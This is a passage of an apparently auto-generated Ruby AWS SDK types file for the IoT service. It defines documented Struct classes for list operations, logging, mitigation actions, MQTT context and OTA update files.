:target_selection, :max_results, :next_token, :thing_group_name, :thing_group_id) include Aws::Structure end # @!attribute [rw] jobs # A list of jobs. # @return [Array<Types::JobSummary>] # # @!attribute [rw] next_token # The token for the next set of results, or **null** if there are no # additional results. # @return [String] # class ListJobsResponse < Struct.new( :jobs, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListMitigationActionsRequest # data as a hash: # # { # action_type: "UPDATE_DEVICE_CERTIFICATE", # accepts UPDATE_DEVICE_CERTIFICATE, UPDATE_CA_CERTIFICATE, ADD_THINGS_TO_THING_GROUP, REPLACE_DEFAULT_POLICY_VERSION, ENABLE_IOT_LOGGING, PUBLISH_FINDING_TO_SNS # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] action_type # Specify a value to limit the result to mitigation actions with a # specific action type. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. The default is # 25. # @return [Integer] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # class ListMitigationActionsRequest < Struct.new( :action_type, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] action_identifiers # A set of actions that matched the specified filter criteria. # @return [Array<Types::MitigationActionIdentifier>] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # class ListMitigationActionsResponse < Struct.new( :action_identifiers, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListOTAUpdatesRequest # data as a hash: # # { # max_results: 1, # next_token: "NextToken", # ota_update_status: "CREATE_PENDING", # accepts CREATE_PENDING, CREATE_IN_PROGRESS, CREATE_COMPLETE, CREATE_FAILED # } # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] next_token # A token used to retrieve the next set of results. # @return [String] # # @!attribute [rw] ota_update_status # The OTA update job status. # @return [String] # class ListOTAUpdatesRequest < Struct.new( :max_results, :next_token, :ota_update_status) include Aws::Structure end # @!attribute [rw] ota_updates # A list of OTA update jobs. # @return [Array<Types::OTAUpdateSummary>] # # @!attribute [rw] next_token # A token to use to get the next set of results. # @return [String] # class ListOTAUpdatesResponse < Struct.new( :ota_updates, :next_token) include Aws::Structure end # The input to the ListOutgoingCertificates operation. # # @note When making an API call, you may pass ListOutgoingCertificatesRequest # data as a hash: # # { # page_size: 1, # marker: "Marker", # ascending_order: false, # } # # @!attribute [rw] page_size # The result page size. # @return [Integer] # # @!attribute [rw] marker # The marker for the next set of results. # @return [String] # # @!attribute [rw] ascending_order # Specifies the order for results. If True, the results are returned # in ascending order, based on the creation date. # @return [Boolean] # class ListOutgoingCertificatesRequest < Struct.new( :page_size, :marker, :ascending_order) include Aws::Structure end # The output from the ListOutgoingCertificates operation. # # @!attribute [rw] outgoing_certificates # The certificates that are being transferred but not yet accepted. # @return [Array<Types::OutgoingCertificate>] # # @!attribute [rw] next_marker # The marker for the next set of results. # @return [String] # class ListOutgoingCertificatesResponse < Struct.new( :outgoing_certificates, :next_marker) include Aws::Structure end # The input for the ListPolicies operation. # # @note When making an API call, you may pass ListPoliciesRequest # data as a hash: # # { # marker: "Marker", # page_size: 1, # ascending_order: false, # } # # @!attribute [rw] marker # The marker for the next set of results. # @return [String] # # @!attribute [rw] page_size # The result page size. # @return [Integer] # # @!attribute [rw] ascending_order # Specifies the order for results. If true, the results are returned # in ascending creation order. # @return [Boolean] # class ListPoliciesRequest < Struct.new( :marker, :page_size, :ascending_order) include Aws::Structure end # The output from the ListPolicies operation. # # @!attribute [rw] policies # The descriptions of the policies. # @return [Array<Types::Policy>] # # @!attribute [rw] next_marker # The marker for the next set of results, or null if there are no # additional results. # @return [String] # class ListPoliciesResponse < Struct.new( :policies, :next_marker) include Aws::Structure end # The input for the ListPolicyPrincipals operation. # # @note When making an API call, you may pass ListPolicyPrincipalsRequest # data as a hash: # # { # policy_name: "PolicyName", # required # marker: "Marker", # page_size: 1, # ascending_order: false, # } # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] marker # The marker for the next set of results. # @return [String] # # @!attribute [rw] page_size # The result page size. # @return [Integer] # # @!attribute [rw] ascending_order # Specifies the order for results. If true, the results are returned # in ascending creation order. # @return [Boolean] # class ListPolicyPrincipalsRequest < Struct.new( :policy_name, :marker, :page_size, :ascending_order) include Aws::Structure end # The output from the ListPolicyPrincipals operation. # # @!attribute [rw] principals # The descriptions of the principals. # @return [Array<String>] # # @!attribute [rw] next_marker # The marker for the next set of results, or null if there are no # additional results. # @return [String] # class ListPolicyPrincipalsResponse < Struct.new( :principals, :next_marker) include Aws::Structure end # The input for the ListPolicyVersions operation. # # @note When making an API call, you may pass ListPolicyVersionsRequest # data as a hash: # # { # policy_name: "PolicyName", # required # } # # @!attribute [rw] policy_name # The policy name. # @return [String] # class ListPolicyVersionsRequest < Struct.new( :policy_name) include Aws::Structure end # The output from the ListPolicyVersions operation. # # @!attribute [rw] policy_versions # The policy versions. # @return [Array<Types::PolicyVersion>] # class ListPolicyVersionsResponse < Struct.new( :policy_versions) include Aws::Structure end # The input for the ListPrincipalPolicies operation. # # @note When making an API call, you may pass ListPrincipalPoliciesRequest # data as a hash: # # { # principal: "Principal", # required # marker: "Marker", # page_size: 1, # ascending_order: false, # } # # @!attribute [rw] principal # The principal. # @return [String] # # @!attribute [rw] marker # The marker for the next set of results. # @return [String] # # @!attribute [rw] page_size # The result page size. # @return [Integer] # # @!attribute [rw] ascending_order # Specifies the order for results. If true, results are returned in # ascending creation order. # @return [Boolean] # class ListPrincipalPoliciesRequest < Struct.new( :principal, :marker, :page_size, :ascending_order) include Aws::Structure end # The output from the ListPrincipalPolicies operation. # # @!attribute [rw] policies # The policies. # @return [Array<Types::Policy>] # # @!attribute [rw] next_marker # The marker for the next set of results, or null if there are no # additional results. # @return [String] # class ListPrincipalPoliciesResponse < Struct.new( :policies, :next_marker) include Aws::Structure end # The input for the ListPrincipalThings operation. # # @note When making an API call, you may pass ListPrincipalThingsRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # principal: "Principal", # required # } # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return in this operation. # @return [Integer] # # @!attribute [rw] principal # The principal. # @return [String] # class ListPrincipalThingsRequest < Struct.new( :next_token, :max_results, :principal) include Aws::Structure end # The output from the ListPrincipalThings operation. # # @!attribute [rw] things # The things. # @return [Array<String>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListPrincipalThingsResponse < Struct.new( :things, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListProvisioningTemplateVersionsRequest # data as a hash: # # { # template_name: "TemplateName", # required # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] template_name # The name of the fleet provisioning template. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] next_token # A token to retrieve the next set of results. # @return [String] # class ListProvisioningTemplateVersionsRequest < Struct.new( :template_name, :max_results, :next_token) include Aws::Structure end # @!attribute [rw] versions # The list of fleet provisioning template versions. # @return [Array<Types::ProvisioningTemplateVersionSummary>] # # @!attribute [rw] next_token # A token to retrieve the next set of results. # @return [String] # class ListProvisioningTemplateVersionsResponse < Struct.new( :versions, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListProvisioningTemplatesRequest # data as a hash: # # { # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] next_token # A token to retrieve the next set of results. # @return [String] # class ListProvisioningTemplatesRequest < Struct.new( :max_results, :next_token) include Aws::Structure end # @!attribute [rw] templates # A list of fleet provisioning templates # @return [Array<Types::ProvisioningTemplateSummary>] # # @!attribute [rw] next_token # A token to retrieve the next set of results. # @return [String] # class ListProvisioningTemplatesResponse < Struct.new( :templates, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListRoleAliasesRequest # data as a hash: # # { # page_size: 1, # marker: "Marker", # ascending_order: false, # } # # @!attribute [rw] page_size # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] marker # A marker used to get the next set of results. # @return [String] # # @!attribute [rw] ascending_order # Return the list of role aliases in ascending alphabetical order. # @return [Boolean] # class ListRoleAliasesRequest < Struct.new( :page_size, :marker, :ascending_order) include Aws::Structure end # @!attribute [rw] role_aliases # The role aliases. # @return [Array<String>] # # @!attribute [rw] next_marker # A marker used to get the next set of results. # @return [String] # class ListRoleAliasesResponse < Struct.new( :role_aliases, :next_marker) include Aws::Structure end # @note When making an API call, you may pass ListScheduledAuditsRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. The default is # 25. # @return [Integer] # class ListScheduledAuditsRequest < Struct.new( :next_token, :max_results) include Aws::Structure end # @!attribute [rw] scheduled_audits # The list of scheduled audits. # @return [Array<Types::ScheduledAuditMetadata>] # # @!attribute [rw] next_token # A token that can be used to retrieve the next set of results, or # `null` if there are no additional results. # @return [String] # class ListScheduledAuditsResponse < Struct.new( :scheduled_audits, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListSecurityProfilesForTargetRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # recursive: false, # security_profile_target_arn: "SecurityProfileTargetArn", # required # } # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] recursive # If true, return child groups too. # @return [Boolean] # # @!attribute [rw] security_profile_target_arn # The ARN of the target (thing group) whose attached security profiles # you want to get. # @return [String] # class ListSecurityProfilesForTargetRequest < Struct.new( :next_token, :max_results, :recursive, :security_profile_target_arn) include Aws::Structure end # @!attribute [rw] security_profile_target_mappings # A list of security profiles and their associated targets. # @return [Array<Types::SecurityProfileTargetMapping>] # # @!attribute [rw] next_token # A token that can be used to retrieve the next set of results, or # `null` if there are no additional results. # @return [String] # class ListSecurityProfilesForTargetResponse < Struct.new( :security_profile_target_mappings, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListSecurityProfilesRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # class ListSecurityProfilesRequest < Struct.new( :next_token, :max_results) include Aws::Structure end # @!attribute [rw] security_profile_identifiers # A list of security profile identifiers (names and ARNs). # @return [Array<Types::SecurityProfileIdentifier>] # # @!attribute [rw] next_token # A token that can be used to retrieve the next set of results, or # `null` if there are no additional results. # @return [String] # class ListSecurityProfilesResponse < Struct.new( :security_profile_identifiers, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListStreamsRequest # data as a hash: # # { # max_results: 1, # next_token: "NextToken", # ascending_order: false, # } # # @!attribute [rw] max_results # The maximum number of results to return at a time. # @return [Integer] # # @!attribute [rw] next_token # A token used to get the next set of results. # @return [String] # # @!attribute [rw] ascending_order # Set to true to return the list of streams in ascending order. # @return [Boolean] # class ListStreamsRequest < Struct.new( :max_results, :next_token, :ascending_order) include Aws::Structure end # @!attribute [rw] streams # A list of streams. # @return [Array<Types::StreamSummary>] # # @!attribute [rw] next_token # A token used to get the next set of results. # @return [String] # class ListStreamsResponse < Struct.new( :streams, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListTagsForResourceRequest # data as a hash: # # { # resource_arn: "ResourceArn", # required # next_token: "NextToken", # } # # @!attribute [rw] resource_arn # The ARN of the resource. # @return [String] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # class ListTagsForResourceRequest < Struct.new( :resource_arn, :next_token) include Aws::Structure end # @!attribute [rw] tags # The list of tags assigned to the resource. # @return [Array<Types::Tag>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListTagsForResourceResponse < Struct.new( :tags, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListTargetsForPolicyRequest # data as a hash: # # { # policy_name: "PolicyName", # required # marker: "Marker", # page_size: 1, # } # # @!attribute [rw] policy_name # The policy name. # @return [String] # # @!attribute [rw] marker # A marker used to get the next set of results. # @return [String] # # @!attribute [rw] page_size # The maximum number of results to return at one time. # @return [Integer] # class ListTargetsForPolicyRequest < Struct.new( :policy_name, :marker, :page_size) include Aws::Structure end # @!attribute [rw] targets # The policy targets. # @return [Array<String>] # # @!attribute [rw] next_marker # A marker used to get the next set of results. # @return [String] # class ListTargetsForPolicyResponse < Struct.new( :targets, :next_marker) include Aws::Structure end # @note When making an API call, you may pass ListTargetsForSecurityProfileRequest # data as a hash: # # { # security_profile_name: "SecurityProfileName", # required # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] security_profile_name # The security profile. # @return [String] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # class ListTargetsForSecurityProfileRequest < Struct.new( :security_profile_name, :next_token, :max_results) include Aws::Structure end # @!attribute [rw] security_profile_targets # The thing groups to which the security profile is attached. # @return [Array<Types::SecurityProfileTarget>] # # @!attribute [rw] next_token # A token that can be used to retrieve the next set of results, or # `null` if there are no additional results. # @return [String] # class ListTargetsForSecurityProfileResponse < Struct.new( :security_profile_targets, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListThingGroupsForThingRequest # data as a hash: # # { # thing_name: "ThingName", # required # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] thing_name # The thing name. # @return [String] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # class ListThingGroupsForThingRequest < Struct.new( :thing_name, :next_token, :max_results) include Aws::Structure end # @!attribute [rw] thing_groups # The thing groups. # @return [Array<Types::GroupNameAndArn>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListThingGroupsForThingResponse < Struct.new( :thing_groups, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListThingGroupsRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # parent_group: "ThingGroupName", # name_prefix_filter: "ThingGroupName", # recursive: false, # } # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] parent_group # A filter that limits the results to those with the specified parent # group. # @return [String] # # @!attribute [rw] name_prefix_filter # A filter that limits the results to those with the specified name # prefix. # @return [String] # # @!attribute [rw] recursive # If true, return child groups as well. # @return [Boolean] # class ListThingGroupsRequest < Struct.new( :next_token, :max_results, :parent_group, :name_prefix_filter, :recursive) include Aws::Structure end # @!attribute [rw] thing_groups # The thing groups. # @return [Array<Types::GroupNameAndArn>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListThingGroupsResponse < Struct.new( :thing_groups, :next_token) include Aws::Structure end # The input for the ListThingPrincipal operation. # # @note When making an API call, you may pass ListThingPrincipalsRequest # data as a hash: # # { # thing_name: "ThingName", # required # } # # @!attribute [rw] thing_name # The name of the thing. # @return [String] # class ListThingPrincipalsRequest < Struct.new( :thing_name) include Aws::Structure end # The output from the ListThingPrincipals operation. # # @!attribute [rw] principals # The principals associated with the thing. # @return [Array<String>] # class ListThingPrincipalsResponse < Struct.new( :principals) include Aws::Structure end # @note When making an API call, you may pass ListThingRegistrationTaskReportsRequest # data as a hash: # # { # task_id: "TaskId", # required # report_type: "ERRORS", # required, accepts ERRORS, RESULTS # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] task_id # The id of the task. # @return [String] # # @!attribute [rw] report_type # The type of task report. # @return [String] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return per request. # @return [Integer] # class ListThingRegistrationTaskReportsRequest < Struct.new( :task_id, :report_type, :next_token, :max_results) include Aws::Structure end # @!attribute [rw] resource_links # Links to the task resources. # @return [Array<String>] # # @!attribute [rw] report_type # The type of task report. # @return [String] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListThingRegistrationTaskReportsResponse < Struct.new( :resource_links, :report_type, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListThingRegistrationTasksRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # status: "InProgress", # accepts InProgress, Completed, Failed, Cancelled, Cancelling # } # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] status # The status of the bulk thing provisioning task. # @return [String] # class ListThingRegistrationTasksRequest < Struct.new( :next_token, :max_results, :status) include Aws::Structure end # @!attribute [rw] task_ids # A list of bulk thing provisioning task IDs. # @return [Array<String>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListThingRegistrationTasksResponse < Struct.new( :task_ids, :next_token) include Aws::Structure end # The input for the ListThingTypes operation. # # @note When making an API call, you may pass ListThingTypesRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # thing_type_name: "ThingTypeName", # } # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return in this operation. # @return [Integer] # # @!attribute [rw] thing_type_name # The name of the thing type. # @return [String] # class ListThingTypesRequest < Struct.new( :next_token, :max_results, :thing_type_name) include Aws::Structure end # The output for the ListThingTypes operation. # # @!attribute [rw] thing_types # The thing types. # @return [Array<Types::ThingTypeDefinition>] # # @!attribute [rw] next_token # The token for the next set of results, or **null** if there are no # additional results. # @return [String] # class ListThingTypesResponse < Struct.new( :thing_types, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListThingsInBillingGroupRequest # data as a hash: # # { # billing_group_name: "BillingGroupName", # required # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] billing_group_name # The name of the billing group. # @return [String] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return per request. # @return [Integer] # class ListThingsInBillingGroupRequest < Struct.new( :billing_group_name, :next_token, :max_results) include Aws::Structure end # @!attribute [rw] things # A list of things in the billing group. # @return [Array<String>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListThingsInBillingGroupResponse < Struct.new( :things, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListThingsInThingGroupRequest # data as a hash: # # { # thing_group_name: "ThingGroupName", # required # recursive: false, # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] thing_group_name # The thing group name. # @return [String] # # @!attribute [rw] recursive # When true, list things in this thing group and in all child groups # as well. # @return [Boolean] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # class ListThingsInThingGroupRequest < Struct.new( :thing_group_name, :recursive, :next_token, :max_results) include Aws::Structure end # @!attribute [rw] things # The things in the specified thing group. # @return [Array<String>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListThingsInThingGroupResponse < Struct.new( :things, :next_token) include Aws::Structure end # The input for the ListThings operation. # # @note When making an API call, you may pass ListThingsRequest # data as a hash: # # { # next_token: "NextToken", # max_results: 1, # attribute_name: "AttributeName", # attribute_value: "AttributeValue", # thing_type_name: "ThingTypeName", # } # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return in this operation. # @return [Integer] # # @!attribute [rw] attribute_name # The attribute name used to search for things. # @return [String] # # @!attribute [rw] attribute_value # The attribute value used to search for things. # @return [String] # # @!attribute [rw] thing_type_name # The name of the thing type used to search for things. # @return [String] # class ListThingsRequest < Struct.new( :next_token, :max_results, :attribute_name, :attribute_value, :thing_type_name) include Aws::Structure end # The output from the ListThings operation. # # @!attribute [rw] things # The things. # @return [Array<Types::ThingAttribute>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListThingsResponse < Struct.new( :things, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListTopicRuleDestinationsRequest # data as a hash: # # { # max_results: 1, # next_token: "NextToken", # } # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # class ListTopicRuleDestinationsRequest < Struct.new( :max_results, :next_token) include Aws::Structure end # @!attribute [rw] destination_summaries # Information about a topic rule destination. # @return [Array<Types::TopicRuleDestinationSummary>] # # @!attribute [rw] next_token # The token to retrieve the next set of results. # @return [String] # class ListTopicRuleDestinationsResponse < Struct.new( :destination_summaries, :next_token) include Aws::Structure end # The input for the ListTopicRules operation. # # @note When making an API call, you may pass ListTopicRulesRequest # data as a hash: # # { # topic: "Topic", # max_results: 1, # next_token: "NextToken", # rule_disabled: false, # } # # @!attribute [rw] topic # The topic. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return. # @return [Integer] # # @!attribute [rw] next_token # A token used to retrieve the next value. # @return [String] # # @!attribute [rw] rule_disabled # Specifies whether the rule is disabled. # @return [Boolean] # class ListTopicRulesRequest < Struct.new( :topic, :max_results, :next_token, :rule_disabled) include Aws::Structure end # The output from the ListTopicRules operation. # # @!attribute [rw] rules # The rules. # @return [Array<Types::TopicRuleListItem>] # # @!attribute [rw] next_token # A token used to retrieve the next value. # @return [String] # class ListTopicRulesResponse < Struct.new( :rules, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListV2LoggingLevelsRequest # data as a hash: # # { # target_type: "DEFAULT", # accepts DEFAULT, THING_GROUP # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] target_type # The type of resource for which you are configuring logging. Must be # `THING_Group`. # @return [String] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # class ListV2LoggingLevelsRequest < Struct.new( :target_type, :next_token, :max_results) include Aws::Structure end # @!attribute [rw] log_target_configurations # The logging configuration for a target. # @return [Array<Types::LogTargetConfiguration>] # # @!attribute [rw] next_token # The token used to get the next set of results, or **null** if there # are no additional results. # @return [String] # class ListV2LoggingLevelsResponse < Struct.new( :log_target_configurations, :next_token) include Aws::Structure end # @note When making an API call, you may pass ListViolationEventsRequest # data as a hash: # # { # start_time: Time.now, # required # end_time: Time.now, # required # thing_name: "DeviceDefenderThingName", # security_profile_name: "SecurityProfileName", # next_token: "NextToken", # max_results: 1, # } # # @!attribute [rw] start_time # The start time for the alerts to be listed. # @return [Time] # # @!attribute [rw] end_time # The end time for the alerts to be listed. # @return [Time] # # @!attribute [rw] thing_name # A filter to limit results to those alerts caused by the specified # thing. # @return [String] # # @!attribute [rw] security_profile_name # A filter to limit results to those alerts generated by the specified # security profile. # @return [String] # # @!attribute [rw] next_token # The token for the next set of results. # @return [String] # # @!attribute [rw] max_results # The maximum number of results to return at one time. # @return [Integer] # class ListViolationEventsRequest < Struct.new( :start_time, :end_time, :thing_name, :security_profile_name, :next_token, :max_results) include Aws::Structure end # @!attribute [rw] violation_events # The security profile violation alerts issued for this account during # the given time period, potentially filtered by security profile, # behavior violated, or thing (device) violating. # @return [Array<Types::ViolationEvent>] # # @!attribute [rw] next_token # A token that can be used to retrieve the next set of results, or # `null` if there are no additional results. # @return [String] # class ListViolationEventsResponse < Struct.new( :violation_events, :next_token) include Aws::Structure end # A log target. # # @note When making an API call, you may pass LogTarget # data as a hash: # # { # target_type: "DEFAULT", # required, accepts DEFAULT, THING_GROUP # target_name: "LogTargetName", # } # # @!attribute [rw] target_type # The target type. # @return [String] # # @!attribute [rw] target_name # The target name. # @return [String] # class LogTarget < Struct.new( :target_type, :target_name) include Aws::Structure end # The target configuration. # # @!attribute [rw] log_target # A log target # @return [Types::LogTarget] # # @!attribute [rw] log_level # The logging level. # @return [String] # class LogTargetConfiguration < Struct.new( :log_target, :log_level) include Aws::Structure end # Describes the logging options payload. # # @note When making an API call, you may pass LoggingOptionsPayload # data as a hash: # # { # role_arn: "AwsArn", # required # log_level: "DEBUG", # accepts DEBUG, INFO, ERROR, WARN, DISABLED # } # # @!attribute [rw] role_arn # The ARN of the IAM role that grants access. # @return [String] # # @!attribute [rw] log_level # The log level. # @return [String] # class LoggingOptionsPayload < Struct.new( :role_arn, :log_level) include Aws::Structure end # The policy documentation is not valid. # # @!attribute [rw] message # The message for the exception. # @return [String] # class MalformedPolicyException < Struct.new( :message) include Aws::Structure end # The value to be compared with the `metric`. # # @note When making an API call, you may pass MetricValue # data as a hash: # # { # count: 1, # cidrs: ["Cidr"], # ports: [1], # } # # @!attribute [rw] count # If the `comparisonOperator` calls for a numeric value, use this to # specify that numeric value to be compared with the `metric`. # @return [Integer] # # @!attribute [rw] cidrs # If the `comparisonOperator` calls for a set of CIDRs, use this to # specify that set to be compared with the `metric`. # @return [Array<String>] # # @!attribute [rw] ports # If the `comparisonOperator` calls for a set of ports, use this to # specify that set to be compared with the `metric`. # @return [Array<Integer>] # class MetricValue < Struct.new( :count, :cidrs, :ports) include Aws::Structure end # Describes which changes should be applied as part of a mitigation # action. # # @!attribute [rw] name # A user-friendly name for the mitigation action. # @return [String] # # @!attribute [rw] id # A unique identifier for the mitigation action. # @return [String] # # @!attribute [rw] role_arn # The IAM role ARN used to apply this mitigation action. # @return [String] # # @!attribute [rw] action_params # The set of parameters for this mitigation action. The parameters # vary, depending on the kind of action you apply. # @return [Types::MitigationActionParams] # class MitigationAction < Struct.new( :name, :id, :role_arn, :action_params) include Aws::Structure end # Information that identifies a mitigation action. This information is # returned by ListMitigationActions. # # @!attribute [rw] action_name # The friendly name of the mitigation action. # @return [String] # # @!attribute [rw] action_arn # The IAM role ARN used to apply this mitigation action. # @return [String] # # @!attribute [rw] creation_date # The date when this mitigation action was created. # @return [Time] # class MitigationActionIdentifier < Struct.new( :action_name, :action_arn, :creation_date) include Aws::Structure end # The set of parameters for this mitigation action. You can specify only # one type of parameter (in other words, you can apply only one action # for each defined mitigation action). # # @note When making an API call, you may pass MitigationActionParams # data as a hash: # # { # update_device_certificate_params: { # action: "DEACTIVATE", # required, accepts DEACTIVATE # }, # update_ca_certificate_params: { # action: "DEACTIVATE", # required, accepts DEACTIVATE # }, # add_things_to_thing_group_params: { # thing_group_names: ["ThingGroupName"], # required # override_dynamic_groups: false, # }, # replace_default_policy_version_params: { # template_name: "BLANK_POLICY", # required, accepts BLANK_POLICY # }, # enable_io_t_logging_params: { # role_arn_for_logging: "RoleArn", # required # log_level: "DEBUG", # required, accepts DEBUG, INFO, ERROR, WARN, DISABLED # }, # publish_finding_to_sns_params: { # topic_arn: "SnsTopicArn", # required # }, # } # # @!attribute [rw] update_device_certificate_params # Parameters to define a mitigation action that changes the state of # the device certificate to inactive. # @return [Types::UpdateDeviceCertificateParams] # # @!attribute [rw] update_ca_certificate_params # Parameters to define a mitigation action that changes the state of # the CA certificate to inactive. # @return [Types::UpdateCACertificateParams] # # @!attribute [rw] add_things_to_thing_group_params # Parameters to define a mitigation action that moves devices # associated with a certificate to one or more specified thing groups, # typically for quarantine. # @return [Types::AddThingsToThingGroupParams] # # @!attribute [rw] replace_default_policy_version_params # Parameters to define a mitigation action that adds a blank policy to # restrict permissions. # @return [Types::ReplaceDefaultPolicyVersionParams] # # @!attribute [rw] enable_io_t_logging_params # Parameters to define a mitigation action that enables AWS IoT # logging at a specified level of detail. # @return [Types::EnableIoTLoggingParams] # # @!attribute [rw] publish_finding_to_sns_params # Parameters to define a mitigation action that publishes findings to # Amazon SNS. You can implement your own custom actions in response to # the Amazon SNS messages. # @return [Types::PublishFindingToSnsParams] # class MitigationActionParams < Struct.new( :update_device_certificate_params, :update_ca_certificate_params, :add_things_to_thing_group_params, :replace_default_policy_version_params, :enable_io_t_logging_params, :publish_finding_to_sns_params) include Aws::Structure end # Specifies the MQTT context to use for the test authorizer request # # @note When making an API call, you may pass MqttContext # data as a hash: # # { # username: "MqttUsername", # password: "data", # client_id: "MqttClientId", # } # # @!attribute [rw] username # The value of the `username` key in an MQTT authorization request. # @return [String] # # @!attribute [rw] password # The value of the `password` key in an MQTT authorization request. # @return [String] # # @!attribute [rw] client_id # The value of the `clientId` key in an MQTT authorization request. # @return [String] # class MqttContext < Struct.new( :username, :password, :client_id) include Aws::Structure end # Information about the resource that was noncompliant with the audit # check. # # @!attribute [rw] resource_type # The type of the noncompliant resource. # @return [String] # # @!attribute [rw] resource_identifier # Information that identifies the noncompliant resource. # @return [Types::ResourceIdentifier] # # @!attribute [rw] additional_info # Other information about the noncompliant resource. # @return [Hash<String,String>] # class NonCompliantResource < Struct.new( :resource_type, :resource_identifier, :additional_info) include Aws::Structure end # The resource is not configured. # # @!attribute [rw] message # The message for the exception. # @return [String] # class NotConfiguredException < Struct.new( :message) include Aws::Structure end # Describes a file to be associated with an OTA update. # # @note When making an API call, you may pass OTAUpdateFile # data as a hash: # # { # file_name: "FileName", # file_version: "OTAUpdateFileVersion", # file_location: { # stream: { # stream_id: "StreamId", # file_id: 1, # }, # s3_location: { # bucket: "S3Bucket", # key: "S3Key", # version: "S3Version", # }, # }, # code_signing: { # aws_signer_job_id: "SigningJobId", # start_signing_job_parameter: { # signing_profile_parameter: { # certificate_arn: "CertificateArn", # platform: "Platform", # certificate_path_on_device: "CertificatePathOnDevice", # }, # signing_profile_name: "SigningProfileName", # destination: { # s3_destination: { # bucket: "S3Bucket", # prefix: "Prefix", # }, # }, # }, # custom_code_signing: { # signature: { # inline_document: "data", # }, # certificate_chain: { # certificate_name: "CertificateName", # inline_document: "InlineDocument", # }, # hash_algorithm: "HashAlgorithm", # 